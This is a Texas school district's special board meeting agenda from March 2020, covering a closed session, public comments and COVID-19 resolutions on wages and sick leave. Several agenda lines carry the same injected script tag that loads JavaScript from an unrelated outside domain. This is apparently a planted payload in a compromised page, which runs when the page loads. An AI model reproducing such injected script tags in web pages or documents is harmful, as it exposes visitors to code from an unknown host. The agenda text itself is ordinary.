Special Meeting

Tuesday, March 17, 2020 12:00 PM
Granbury ISD Board Room, 217 N. Jones St., Granbury, Texas 76048

1. **Call to order - 12:00 PM - GISD Board Room <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>**
2. **Convene in Closed Session under the Texas Open Meetings Act, Texas Government Code Section 551.001 et seq.**

a. Section 551.074 - to deliberate the appointment, employment, evaluation, reassignment, duties, discipline or dismissal of a public officer or employee.
 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

b. Section 551.071, 551.129 - Consultation with board attorney. This conference may take place telephonically. <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

3. **Reconvene in Open Session <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>**
4. **Moment of Silence/Invocation**
5. **Open Forum / Public Comments**
   Patrons who have duly registered per policy BED (LOCAL) may address the board regarding matters of concern/interest to the district. The board may not act upon any matter that is not listed under the action item portion of the agenda.
6. **Discussion/Action**

a. Consider Adoption of Resolution of the Board Regarding Wage Payments During Emergency School Closings

b. Consider Resolution of the Board Regarding Extension of Leave During Precautionary Exclusion and Resolution of the Board Regarding Extended Sick Leave During Epidemic <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

c. Discussion/Possible Action Regarding Future District Concerns and Needs for COVID -19 Pandemic

7. **Consider Action on Items Discussed In Closed Session**
8. **Adjourn**